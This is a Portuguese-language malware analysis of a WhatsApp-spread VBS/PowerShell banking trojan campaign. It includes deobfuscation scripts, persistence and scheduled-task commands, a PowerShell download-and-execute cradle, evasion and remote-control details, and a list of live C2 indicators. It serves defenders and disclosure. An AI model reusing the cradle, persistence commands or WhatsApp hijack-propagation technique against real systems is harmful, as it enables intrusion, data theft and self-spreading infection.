Desde o início de outubro de 2025, começamos a observar atividades suspeitas relacionadas a arquivos .VBS (Visual Basic Script) em alguns clientes. Esses comportamentos indicavam a execução de um código malicioso a partir de arquivos .ZIP entregues aos alvos por meio do WhatsApp. Descobrimos se tratar de uma nova variante do malware SORVEPOTEL usado na campanha Water Saci, que tem como objetivo comprometer máquinas Windows, se espalhar para outros contatos automaticamente e roubar dados bancários.
Neste artigo, explicamos o que é essa nova variante com todas as informações que coletamos até o momento, e como quem atua na linha de frente da defesa cibernética pode mitigar que aconteça. O conteúdo está organizado em análise geral do fluxo de infecção, análise técnica do segundo estágio em VBS, análise técnica do terceiro estágio em PowerShell e, ao final, recomendações, conclusão e todos os IOCs identificados.
O que é a Ameaça Water Saci?
A campanha denominada Water Saci (tradução: “Saci da Água”) visa comprometer usuários e organizações no Brasil e em Portugal utilizando o WhatsApp como vetor de disseminação. Acreditamos tratar-se de uma família de malware evoluída - relacionada a variantes previamente vistas com os nomes de SORVEPOTEL, MAVERICK e COYOTE - que, ao infectar a máquina, viabiliza controle remoto praticamente completo do sistema operacional por meio de um C2.
Observamos que, a partir de setembro de 2025, o malware passou por modificações operacionais significativas: a implantação deixou de se basear exclusivamente em atalhos .LNK e passou a utilizar scripts .VBS. Além disso, passou a empregar o serviço IMAP do provedor terra.com.br como canal de recepção de instruções do atacante - uma técnica que não havíamos visto em variantes anteriores.
O fluxo do ataque explora o lado mais frágil da segurança: o usuário. O malware aproveita-se de engenharia social e da confiança nas mensagens que vêm de contatos conhecidos da vítima para se espalhar de forma praticamente autônoma.
Evolução da Família de Malware
O histórico dessa família é longo. A linhagem remonta a 2022, quando o malware surgiu via e-mails de phishing disfarçados de currículos, com cadeia de infecção ZIP → LNK → MSI → EXE/DLL. Em fevereiro de 2024, foi identificado publicamente como trojan bancário Coyote, passando a usar o framework Squirrel e a linguagem Nim como loader. Em junho de 2023, adotou pacotes NuGet para o segundo estágio. Em setembro de 2025, passou a entregar payloads modulares via C2 - um para propagação via sequestro do WhatsApp e outro para roubo de credenciais. Em outubro de 2025, a variante atual transitou para loaders baseados em scripts (VBS + PowerShell), substituindo os binários .NET anteriores por uma abordagem mais leve e furtiva.

Gráfico fornecido pela Trend Research com a evolução do malware durante os anos.
O Fluxo do Ataque
O ataque inicia com uma mensagem de phishing enviada por um contato já comprometido, o que aumenta consideravelmente a probabilidade de abertura pelo destinatário. O arquivo anexo segue o padrão de nome Orcamento_2025<número aleatório>.zip. Dentro do arquivo existe o script -61ec16b0-2eb.vbs. Quando o usuário abre esse arquivo, inicia-se uma sequência de estágios que resulta na infecção da máquina, automação e propagação via WhatsApp Web e na exfiltração de dados.

Print da mensagem de phishing.
A infecção ocorre em três estágios:
- Estágio 1 - Entrega inicial e execução do loader: um payload ofuscado em VBScript é propagado via WhatsApp. O VBS contém mecanismos de auto-desofuscação para reconstruir e executar o código subsequente sem interação adicional do atacante.
- Estágio 2 - Preparação e infecção da máquina: o script VBS executado na máquina coleta informações do sistema (idioma, softwares de análise de malware), estabelece comunicação com o C2 via IMAP e servidor do atacante, e baixa um payload PowerShell criptografado para o terceiro estágio.
- Estágio 3 - Automação e propagação: o payload PowerShell (criptografado com AES em múltiplas camadas) realiza o sequestro da sessão do WhatsApp da vítima e se espalha para os outros contatos automaticamente, formando uma botnet.

Diagrama do fluxo da infecção.
Primeiro Estágio - Entrega e Execução
No primeiro estágio, o arquivo malicioso é compartilhado via WhatsApp para a vítima a partir de um contato infectado anteriormente. Ao descompactar o arquivo Orcamento-202522017737.zip, obtém-se o malware chamado -61ec16b0-2eb.vbs, que é um código em VBScript.
O uso do hífen no começo do nome do arquivo é proposital: o sistema operacional pode confundir o hífen com uma flag de um binário, atrapalhando análises de segurança via terminal.

Print dos arquivos baixados do WhatsApp.
O código do arquivo -61ec16b0-2eb.vbs continha 361.671 linhas e estava completamente ofuscado, impossibilitando a análise direta.

Print do início do código ofuscado.
Segundo Estágio - Análise Técnica do VBS
Desofuscando o Código VBS
Para transformar o código em algo legível, foi necessário entender a técnica de ofuscação utilizada pelo criador do malware. A técnica consiste em dividir números ASCII e operações XOR em blocos, onde cada bloco representa um trecho do código. Os mecanismos são:
- O malware constrói strings por concatenação
var = var & Chr(número)em múltiplas linhas, usando o separador124em ASCII - que é o caractere|- no formato"2442124128515124..."; - Em cada bloco, o código normaliza o separador com a função
Replace()e usaSplit()para dividir os valores entre o|em um array; - Para cada token dentro do array, aplica uma sequência de subtrações e operações XOR:
(val – (A Xor B)) Mod 256; - Os pares de operações XOR variam em cada bloco;
- Por fim, concatena o resultado das operações de cada bloco em uma string que forma o código legível.

Print do trecho do código VBS ofuscado.
Desenvolvemos um script em Python que automatiza a reconstrução do código ofuscado no código original. Em resumo, o script:
- Localiza e divide cada bloco utilizando expressões regulares e validações do começo e fim de cada bloco;
- Reconstrói a string literal em cada bloco convertendo os valores ASCII em
Chr(...); - Detecta todos os pares
Xor (A Xor B)do bloco atual; - Realiza o cálculo para cada token e concatena na string global, gravando o resultado no arquivo
payload_01.vbs.
Abaixo o script em Python utilizado para desofuscar o código em VBScript:
import re
def split_payload_in_blocks(content):
blocks = []
cur_block = []
is_cur_block = False
for i, line in enumerate(content):
line_strip = line.strip()
if is_cur_block and re.search(r"\bNext\b", line_strip, re.IGNORECASE):
if cur_block:
blocks.append(cur_block)
cur_block = []
is_cur_block = False
continue
if "Chr(" in line_strip:
prev_has_chr = i > 0 and "Chr(" in content[i - 1]
next_has_chr = i + 1 < len(content) and "Chr(" in content[i + 1]
if not is_cur_block and (prev_has_chr or next_has_chr):
is_cur_block = True
cur_block = []
if is_cur_block:
cur_block.append(line_strip)
else:
if is_cur_block:
cur_block.append(line_strip)
return blocks
with open("./-61ec16b0-2eb.vbs", "r") as f:
payload = f.read()
payload_lines = payload.splitlines()
sep_val = 124
payload_blocks = split_payload_in_blocks(payload_lines)
payload_desofuscado = ""
for block in payload_blocks:
chr_values = ""
xor_operations = []
for line in block:
if "Chr(" in line:
ascii = re.findall(r'Chr\(\s*(\d+)\s*\)', line, flags=re.IGNORECASE)
if ascii:
chr_number = chr(int(ascii[0]))
chr_values += chr_number
if ("Xor" and "Mod") in line:
xor_numbers = re.findall(
r'=\s*\(\s*\w+\s*-\s*\((\d+)\s*Xor\s*(\d+)\)\)\s*Mod\s*256',
line, flags=re.IGNORECASE
)
if xor_numbers:
xor_operations.append(xor_numbers[0])
chr_values.replace(chr(124)+chr(124), chr(124))
res = ""
for val in chr_values.split(chr(124)):
if len(val) > 0:
new_val = int(val)
for op1, op2 in xor_operations:
new_val = (new_val - (int(op1) ^ int(op2))) % 256
if new_val < 0:
new_val += 256
if new_val > 255:
new_val -= 256
res += chr(new_val)
payload_desofuscado += res
with open("./payload_01.vbs", "w") as f:
f.write(payload_desofuscado)
Explicação Técnica do Fluxo do VBS
Com o código desofuscado, iniciamos a análise. Existem três variáveis principais que são preenchidas com valores durante a execução: POWERSHELL_URL, SERVER_URL e BACKUP_URL.
POWERSHELL_URL- armazena a URL do payload do terceiro estágio escrito em PowerShell;SERVER_URL- armazena a URL do C2 principal usado pelo atacante para receber e enviar informações da máquina infectada;BACKUP_URL- armazena a URL do C2 de backup caso o servidor C2 principal falhe.
No início do código, encontramos os domínios de fallback usados para baixar as instruções do atacante caso a conexão com o IMAP do terra.com.br falhe. Os fallback domains são hardcoded no array FALLBACK_DOMAINS e incluem domínios como lefthandsuperstructures.com, clhttradinglimited.com, mazdafinancialsevrices.com, entre outros.

Print dos domínios de fallback.
Verificações de Segurança
O código implementa duas verificações logo no início antes de executar qualquer ação:
1. Verificação de idioma - CheckSystemLanguage()
Usa o WMI do Windows para validar se os idiomas PT-BR (código 1046) e PT-PT (código 2070) estão sendo usados pela máquina. Se falhar via WMI, tenta pela chave de registro HKEY_CURRENT_USER\Control Panel\International\sLanguage, buscando pelo valor "PT".

Print da chamada da função CheckSystemLanguage().

Print da função CheckSystemLanguage() que valida o idioma do sistema.
O script só funciona se o idioma da máquina for português - Brasil ou Portugal. Se o idioma for diferente, ele se autodestrói sem deixar vestígios.
2. Verificação de debuggers - CheckDebuggerProcesses()
Usa o WMI para verificar se a máquina possui algum dos programas de análise de malware instalados (IDA, OllyDbg, x32dbg, x64dbg, windbg, ProcessHacker, Procmon etc.). Se algum desses programas for encontrado, o malware se autodestrói para evitar análise de código.

Print da chamada da função CheckDebuggerProcesses().

Print da função CheckDebuggerProcesses() que detecta programas de análise de malware instalados.
Principais Variáveis e Configurações
Após as verificações, o código define as seguintes variáveis de configuração:
EMAIL_USER- usuário de login do e-mail do Terra (terra.com.br);EMAIL_PASS- senha do usuário do e-mail;CHECK_INTERVAL- intervalo de execução do loop (5 segundos);EMAIL_CHECK_INTERVAL- intervalo de verificação do e-mail (30 minutos);ENABLE_LOG- especifica se o log de debug está habilitado;LOG_FILE- caminho onde os logs de debug são salvos (C:\Temp\client_log.txt);INSTALL_PATH- caminho de autoinstalação (C:\ProgramData\WindowsManager\);SERVICE_NAME- nome do arquivo de instalação (WinManagers.vbs);STARTUP_NAME- nome do programa no Windows (Windows Manager Services);REG_KEY_NOTIFIED- chave de registro que indica se o C2 já foi notificado.

Print das variáveis principais do código.
Tentamos acessar o e-mail do Terra hospedado em mail.terra.com.br com as credenciais salvas no código. Algumas semanas atrás conseguimos acesso, porém recentemente os atores maliciosos implementaram MFA como segundo fator de autenticação na conta.

Print da tela de MFA após a autenticação com as credenciais.
O Papel do E-mail Terra no Ataque
O e-mail do Terra é usado para extrair as informações mais atualizadas das URLs que estão ativas e sendo usadas na campanha. A cada 30 minutos, o código busca um e-mail específico chamado "data" na caixa de entrada do usuário usando imap.terra.com.br na porta 993. Esse e-mail contém as informações parametrizadas das URLs atualizadas da campanha:
data:→ URL do C2 principalbackup:→ URL do C2 de backupps:→ URL do payload PowerShell do terceiro estágio
Esse mecanismo dá ao atacante total liberdade para modificar os domínios e artefatos usados pela campanha sem precisar recompilar ou redistribuir o malware.
Mecanismo de Autoinstalação e Persistência
A função AutoInstall() implementa o mecanismo de persistência:
- Verifica se o script já está sendo executado a partir do diretório de destino; se sim, encerra a rotina;
- Cria a pasta
C:\ProgramData\WindowsManager\(se não existir) e aplica os atributos oculto (+h) e de sistema (+s) para mascarar sua presença; - Copia o próprio código para
C:\ProgramData\WindowsManager\WinManagers.vbs; - Adiciona uma chave de inicialização automática no registro:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Manager Services
wscript.exe C:\ProgramData\WindowsManager\WinManagers.vbs
- Cria uma tarefa agendada configurada para executar o malware com privilégios de SYSTEM a cada inicialização do sistema:
schtasks.exe /create /tn "Windows Manager Services" /tr
"wscript.exe 'C:\ProgramData\WindowsManager\WinManagers.vbs'" /sc onstart /ru SYSTEM /f
Funções Principais do C2
Após a autoinstalação, o código executa três funções essenciais:
GetServerURLWithFallback() - Verificação em 3 etapas:
- Tenta conexão com o IMAP do Terra;
- Se falhar, tenta os domínios de fallback do array
FALLBACK_DOMAINS; - Se ainda falhar, usa a URL do C2 hardcoded no código.
RegistrarCliente() - Registra a máquina no servidor do atacante via requisição POST, enviando: nome do computador, ID do cliente, nome do usuário e versão do sistema operacional.
NotificarVer() - Envia para a página /ver.php do servidor C2 via POST: ID único, nome do computador, nome do usuário, IP público, versão do SO e data de instalação do sistema operacional. Acreditamos que a data de instalação do SO é usada para bloquear o download dos artefatos caso a data seja muito recente - comportamento comum para tentar evitar ambientes sandbox instalados no momento da análise.
Loop Principal e Controle Remoto
Um loop é criado para manter o malware executando constantemente no sistema, com verificações periódicas de segurança (idioma e debuggers a cada 5 minutos), envio de heartbeat ao C2 a cada 30 segundos e verificação do e-mail do Terra a cada 30 minutos. O comando que baixa e executa o payload do terceiro estágio em memória é:
powershell -ep bypass
"[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;
iex ((New-Object Net.WebClient).DownloadString('<POWERSHELL_URL>'))"
Capacidades de Controle Remoto
A função VerificarComandos() aguarda comandos do C2, dando ao atacante controle completo sobre a máquina infectada. Abaixo as funções remotas disponíveis:
| Função | Descrição |
|---|---|
EnviarInfo | Coleta e envia hostname, usuário, hardware, SO e status para o C2 |
ExecutarCMD | Executa comandos de shell/console via cmd.exe e retorna a saída |
UploadFileInChunks | Envia um arquivo ao servidor em partes |
UploadFileToClient | Transfere um arquivo do servidor para a máquina local |
ExecutarPS | Executa um script ou comando PowerShell e captura o resultado |
ReiniciarPC | Inicia reinicialização controlada do sistema via API/linha de comando |
DesligarPC | Desliga o sistema de forma ordenada |
CaptureScreen | Captura tela do desktop e prepara imagem para exfiltração |
GetTaskList | Lista processos em execução com metadados (PID, nome, uso) |
KillProcess | Envia sinal para finalizar um processo por PID ou nome |
ListFiles | Enumera arquivos e pastas em um diretório fornecido |
DownloadFileFromClient | Lê um arquivo local e o envia para o servidor |
DeleteFileOrFolder | Remove arquivo(s) ou diretório(s) especificados |
RenameFileOrFolder | Renomeia arquivo ou pasta conforme parâmetros recebidos |
CopyFileOrFolder | Copia arquivo(s) ou pasta(s) de um local para outro |
MoveFileOrFolder | Move (recorta/cola) arquivo(s) ou diretório(s) entre caminhos locais |
GetFileInfo | Recupera metadados de um arquivo (tamanho, timestamps, atributos) |
SearchFiles | Pesquisa arquivos por nome/padrão/conteúdo em caminhos especificados |
CreateFolder | Cria um novo diretório no caminho indicado |
UpdateScript | Substitui ou atualiza o script agente local por nova versão do servidor |
CheckTerraEmail | Verifica periodicamente o e-mail do Terra em busca de instruções ou URLs de fallback |
O EDR que utilizamos - ThreatDown da Malwarebytes - detectou os comportamentos e a cadeia de infecção do segundo estágio e isolou a máquina automaticamente, bloqueando que a ameaça se espalhasse. Isso reforça a recomendação de aquisição de soluções de EDR com IA comportamental, não apenas análise por assinatura.
Terceiro Estágio - Análise Técnica do PowerShell
Descriptografando o Código PowerShell
O payload PowerShell baixado pelo segundo estágio é protegido por 5 camadas de criptografia AES. Cada nível contém chaves de descriptografia diferentes em base64. Desenvolvemos um script em Python para reverter todas as camadas.

Print do código Powershell criptografado.
O procedimento de recuperação consistiu em:
- Converter o hexadecimal em bytes;
- Decodificar a chave Base64;
- Extrair os primeiros 16 bytes como IV e usar o restante como ciphertext;
- Aplicar AES-CBC (PKCS7, 256-bit) para descriptografar o payload;
- Descomprimir com GZIP;
- Decodificar em CP1252 para obter o próximo blob.
Ao decodificar o primeiro payload, foi necessário repetir esse procedimento quatro vezes adicionais - cada resultado revelou outro payload criptografado no mesmo formato - até finalmente chegar no script PowerShell final.
Abaixo o script Python utilizado (decrypt_powershell.py):
import base64
import binascii
import gzip
import io
import sys
from pathlib import Path
from Crypto.Cipher import AES
# Payload encriptado
HEX_DATA = ("")
# Chave base64
KEY_B64 = ""
OUT_PATH = Path("./decoded_powershell_blob_06.ps1")
def hex_to_bytes(hex_str):
s = ''.join(hex_str.split())
return binascii.unhexlify(s)
def try_decrypt_aes_cbc(enc_bytes, key, iv):
def unpad_pkcs7(b):
if not b:
return b
pad = b[-1]
if pad < 1 or pad > AES.block_size:
return b
return b[:-pad]
if len(enc_bytes) % AES.block_size == 0:
cipher = AES.new(key, AES.MODE_CBC, iv)
dec = cipher.decrypt(enc_bytes)
return unpad_pkcs7(dec)
def try_decompress_gzip(data):
with io.BytesIO(data) as bio:
with gzip.GzipFile(fileobj=bio, mode='rb') as gz:
return gz.read()
cipher_bytes = hex_to_bytes(HEX_DATA)
if len(cipher_bytes) < 17:
sys.exit(1)
iv = cipher_bytes[0:16]
enc = cipher_bytes[16:]
key = base64.b64decode(KEY_B64)
decrypted = try_decrypt_aes_cbc(enc, key, iv)
decompressed = try_decompress_gzip(decrypted)
payload_text = decompressed.decode('cp1252', errors='replace')
OUT_PATH.parent.mkdir(parents=True, exist_ok=True)
with open(OUT_PATH, 'w', encoding='cp1252', errors='replace') as f:
f.write(payload_text)
Explicação Técnica do Fluxo do PowerShell
O objetivo do script PowerShell é automatizar o roubo de sessão do WhatsApp Web, criar a mensagem de phishing (com o arquivo .ZIP), listar os contatos da vítima, enviar a mensagem para esses contatos e enviar um relatório para o servidor do atacante.
O script usa duas ferramentas open-source:
- WPPCONNECT/WA-JS (hospedado no GitHub) - possui funções nativas para manipular o WhatsApp Web;
- Selenium com Google Chrome - para fazer automações de navegador de forma invisível ao usuário.
Inicialização e Configurações da Campanha
O script inicia definindo C:\Temp como diretório base para armazenamento de arquivos auxiliares. Em seguida, define os endpoints de comunicação com o C2:
/api.php- endpoint principal da API/log.php- envio de logs/config.php- configurações atualizadas da campanha/contacts.php- envio da lista de contatos
A constante $CONFIG_PADRAO contém um modelo padrão da mensagem de phishing:

Trecho do código que define as variáveis.
mensagem_saudacao = "{saudacao} {nome}!"
mensagem_final = "Segue o arquivo solicitado. Qualquer dúvida estou à disposição!"
nome_arquivo_prefixo = "Orcamento-2025"
O script executa a função Get-ConfiguracoesOnline para consultar as configurações mais recentes da campanha diretamente no C2 via /config.php. Caso o servidor esteja indisponível, ele recorre à constante $CONFIG_PADRAO. As configurações incluem: texto da mensagem de phishing, link remoto do arquivo .ZIP malicioso e metadados adicionais para a automação.

Trecho do código que inicia o fluxo principal.
Preparação do Ambiente
Com a URL do arquivo obtida, o script realiza o download do payload .ZIP e o armazena em C:\Temp\Bin.zip. No mesmo trecho, baixa todos os componentes necessários para execução automatizada:
- ChromeDriver - driver de automação do Chrome compatível com a versão instalada;
- WA-JS - a biblioteca JavaScript do WPPCONNECT obtida diretamente do repositório no GitHub;
- Selenium - instalado via gerenciador de pacotes do .NET.

Trecho do código que baixa os componentes necessários.
Antes de iniciar a automação, o código verifica se o Google Chrome está instalado e utiliza a função Get-ChromeUserDataPath para localizar o diretório do perfil do usuário. Esse perfil é copiado integralmente para C:\Temp, garantindo acesso às sessões autenticadas, cookies e credenciais armazenadas. Em seguida:
- Encerra qualquer instância ativa do Chrome e do ChromeDriver;
- Reinicia o Chrome em modo headless (sem interface gráfica), utilizando o Selenium e o perfil copiado;
- A execução ocorre de forma completamente invisível ao usuário.
Sequestro da Sessão do WhatsApp
Com o navegador em execução controlada, o script acessa web.whatsapp.com em segundo plano. Após aguardar o carregamento (com até 30 tentativas), injeta a biblioteca WPP (WA-JS) na página via ExecuteScript. A partir daí, utiliza as funções nativas do WPP para:
- Verificar se a sessão está autenticada com
WPP.conn.isAuthenticated(); - Listar todos os contatos da vítima via
WPP.contact.list()- filtrando apenas contatos individuais com números brasileiros/válidos; - Enviar essas informações ao C2 via
/contacts.php.
Disparo em Massa e Exfiltração
O envio das mensagens de phishing para cada contato funciona da seguinte forma:
- Para cada contato na lista, verifica se o sistema está em pausa consultando o C2;
- Personaliza a mensagem com o nome do contato usando o template configurado;
- Envia a mensagem contendo o arquivo
.ZIPmalicioso para o contato viaWPP; - Aplica delay entre os envios para evitar detecção pelo WhatsApp;
- Ao final, envia um relatório completo ao C2 com nome do computador, SO e a lista de todos os contatos que receberam a mensagem (nome e número).
O código contém ainda um mecanismo de pausa e retomada da campanha: o operador pode pausar temporariamente a propagação consultando um endpoint do C2 e retomar quando quiser, evitando exposição ou reagindo a mudanças. A função Wait-ForEnvioAtivo verifica esse status a cada 30 segundos enquanto o sistema estiver pausado.
Recomendações
As recomendações abaixo ajudam a reduzir a superfície de ataque contra esse tipo de ameaça:
-
Adquira soluções de Endpoint de qualidade: Uma das principais recomendações para as empresas é adquirir uma solução de EDR de qualidade que não apenas monitore ameaças com base em assinatura, mas também use IA para detectar comportamentos suspeitos na máquina e tomar medidas efetivas para conter a ameaça. O ThreatDown da Malwarebytes, por exemplo, detectou e isolou a ameaça automaticamente durante nossa análise.
-
Desabilitar o download automático no WhatsApp: Desative o download automático de mídias e documentos nas configurações do WhatsApp para reduzir a exposição acidental a arquivos maliciosos.
-
Treinar os usuários: O método usado na campanha Water Saci indica que o vetor de infecção efetivo é a falta de conscientização do usuário, que executa o malware em sua máquina. Realize treinamentos periódicos com os colaboradores sobre ameaças de phishing, com simulações e conteúdo de conscientização.
-
Habilitar MFA nas contas: Exija autenticação multifator (MFA) para todos os serviços em nuvem e web para evitar o sequestro de sessão. Oriente os usuários a fazerem logout após usar aplicativos de mensagens e a limparem regularmente os cookies e tokens do navegador.
-
Adquirir soluções de ESG (E-mail Security Gateway): Use soluções de filtro de e-mail para identificar anexos e links maliciosos no corpo do e-mail. (Recomendação focada em proteção contra ataques por e-mail.)
-
Bloquear e monitorar os IOCs: Bloqueie os IOCs especificados neste documento em seus Firewalls e EDRs. Faça também o bloqueio e monitoramento dos IOCs do SORVEPOTEL identificado em setembro - mesmo sendo a variante mais antiga, ainda está ativa e se espalhando. Consulte os IOCs da Trend Micro:
https://documents.trendmicro.com/assets/txt/WhatsApp%20SelfPropagating%20Malware%20IoCs-VAeQJ5r.txt -
Automação de SOC com Playbooks: Crie Playbooks em conjunto com ferramentas de SOAR para automatizar a resposta ao incidente quando um dos IOCs for encontrado no ambiente.
-
Segregação de funções: Forneça apenas as permissões necessárias para os usuários em suas estações de trabalho. Caso a máquina seja infectada, o atacante terá dificuldade em escalar privilégio e se movimentar lateralmente pela rede caso o usuário não possua privilégios administrativos.
Conclusão
A análise completa da campanha Water Saci revelou um malware sofisticado e bem estruturado. Trata-se de uma nova variante do SORVEPOTEL, possivelmente relacionada ao trojan COYOTE criado em 2024. Essa cadeia de infecção via WhatsApp está associada à campanha Water Saci, que tem como objetivo infectar usuários do Brasil e de Portugal.
O segundo estágio demonstrou uma técnica inédita de C2: o uso do serviço IMAP do terra.com.br para distribuir e atualizar dinamicamente os domínios da campanha sem precisar modificar o malware. O código VBS se autoinstala no sistema, cria duas persistências (registro do Windows e agendador de tarefas) e mantém controle remoto completo da máquina infectada.
O terceiro estágio implementa um mecanismo automatizado de propagação via WhatsApp Web, explorando o perfil legítimo da vítima e executando toda a rotina de disseminação de forma silenciosa. O malware está apenas se espalhando no momento da publicação deste artigo, o que levanta preocupações sobre os próximos passos do atacante - especialmente considerando as capacidades de controle remoto total já implementadas no segundo estágio, que permitem executar qualquer tipo de payload adicional nas máquinas infectadas, incluindo ransomware.
Classificamos a ameaça como crítica, dado o alto nível de efetividade e capacidade de infecção em escala, além do controle total da máquina que permite ao atacante roubar dados bancários, movimentar-se lateralmente pela rede e instalar malwares adicionais remotamente. Atualmente, os servidores C2 do atacante ainda estão online, indicando que a ameaça permanece ativa.
Indicadores de Comprometimento (IOCs)
Diretórios e Arquivos
-61ec16b0-2eb.vbs
Orcamento-202522017737.zip
WinManagers.vbs
C:\Users\<Usuario>\AppData\Local\Temp\imap_check_*.txt
C:\Users\<Usuario>\AppData\Local\Temp\ps_email.txt
C:\Users\<Usuario>\AppData\Local\Temp\client_log.txt
C:\Users\<Usuario>\AppData\Local\Temp\cleanup_*.bat
C:\Users\<Usuario>\AppData\Local\Temp\email_out.txt
C:\Users\<Usuario>\AppData\Local\Temp\cmd_*.txt
C:\Users\<Usuario>\AppData\Local\Temp\new_version.vbs
C:\Users\<Usuario>\AppData\Local\Temp\upd.bat
C:\Users\<Usuario>\AppData\Local\Temp\brow\
C:\Users\<Usuario>\AppData\Local\Temp\screen_*.png
C:\Users\<Usuario>\AppData\Local\Temp\ps_*.txt
C:\Users\<Usuario>\AppData\Local\Temp\ps_alt_*.txt
C:\Temp\
C:\ProgramData\WindowsManager\
C:\Temp\wppconnect-wa.js
C:\Temp\ChromeWpp
C:\Temp\chromedriver.exe
C:\Temp\chromedriver.zip
C:\Temp\Bin.zip
Hashes
6ca946fbe77b7b4dcf74bdf8c7f8157b7142d71a777c2626c910df7be372257b (-61ec16b0-2eb.vbs)
4f5f85e85e3296140950b4d2519c5a49c4581076c59fb46d76b50bec32369499 (Orcamento-202522017737.zip)
bf9066a0e083c278fc62b8ceb1ffb0631acecad570ddff301150f9ee34d23097 (WinManagers.vbs)
19ff02105bbe1f7cede7c92ade9cb264339a454ca5de14b53942fa8fbe429464 (whatsapp_automation_v6_robust.ps1)
Domínios
lefthandsuperstructures[.]com:443
clhttradinglimited[.]com:443
mazdafinancialsevrices[.]com:443
ricardasphotography[.]com:443
jornalistaaurelianoborgesmidia[.]com:443
cursosgratiss[.]com[.]br:443
intelligentopennetworkingawards[.]com:443
vinhomeshungyentheempires[.]com:443
wbdiamonds[.]com:443
pastebin[.]com:443
imap.terra[.]com[.]br:993
miportuarios[.]com:443 ← C2 principal usado para controle pelo VBS
api.ipify[.]org:80
varegjopeaks[.]com:443 ← C2 usado no código em PowerShell
web.whatsapp[.]com:443
cld[.]pt:443
IPs
172.67.131.24 (miportuarios[.]com)
104.21.3.186 (miportuarios[.]com)
2606:4700:3037::6815:3ba (miportuarios[.]com)
2606:4700:3037::ac43:8318 (miportuarios[.]com)
192.187.127.122 (lefthandsuperstructures[.]com)
3.33.130.190 (clhttradinglimited[.]com)
15.197.148.33 (clhttradinglimited[.]com)
208.109.228.176 (clhttradinglimited[.]com e cursosgratiss[.]com[.]br)
172.67.132.232 (mazdafinancialsevrices[.]com)
104.21.13.161 (mazdafinancialsevrices[.]com)
2606:4700:3035::ac43:84e8 (mazdafinancialsevrices[.]com)
2606:4700:3031::6815:da1 (mazdafinancialsevrices[.]com)
194.58.38.159 (jornalistaaurelianoborgesmidia[.]com)
83.229.17.71 (intelligentopennetworkingawards[.]com)
172.67.183.217 (vinhomeshungyentheempires[.]com)
104.21.18.224 (vinhomeshungyentheempires[.]com)
2606:4700:3035::ac43:b7d9 (vinhomeshungyentheempires[.]com)
2606:4700:3032::6815:12e0 (vinhomeshungyentheempires[.]com)
172.67.182.223 (wbdiamonds[.]com)
104.21.83.232 (wbdiamonds[.]com)
2606:4700:3032::6815:53e8 (wbdiamonds[.]com)
2606:4700:3032::ac43:b6df (wbdiamonds[.]com)
104.21.48.41 (varegjopeaks[.]com)
172.67.176.178 (varegjopeaks[.]com)
2606:4700:3037::6815:3029 (varegjopeaks[.]com)
2606:4700:3032::ac43:b0b2 (varegjopeaks[.]com)
URLs
https://pastebin[.]com/raw/SmCz4cp8
https://miportuarios[.]com/sisti/api.ps1
https://miportuarios[.]com/sisti/api.php
https://github[.]com/wppconnect-team/wajs/releases/latest/download/wppconnect-wa.js
https://varegjopeaks[.]com/api/api.php
https://varegjopeaks[.]com/api/log.php
https://varegjopeaks[.]com/api/config.php
https://varegjopeaks[.]com/api/contacts.php
https://cld[.]pt/dl/download/0f58f6f3-e3bb-4cbd-a4fb-d9ddfd4e56bf/sapotransfer-640a2b919605fph/Orcamento%20para%20avalicaco%20.zip?download=true
https://googlechromelabs.github[.]io/chrome-for-testing/latest-versions-per-milestone-with-downloads.json
Processos
powershell.exe
cmd.exe
wscript.exe
schtasks.exe
chrome.exe
chromedriver.exe
Registro do Windows
HKCU\Software\WinManager\Notified
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Manager Services
Outros
schtasks.exe /create /tn "Windows Manager Services"
/tr "wscript.exe 'C:\ProgramData\WindowsManager\WinManagers.vbs'"
/sc onstart /ru SYSTEM /f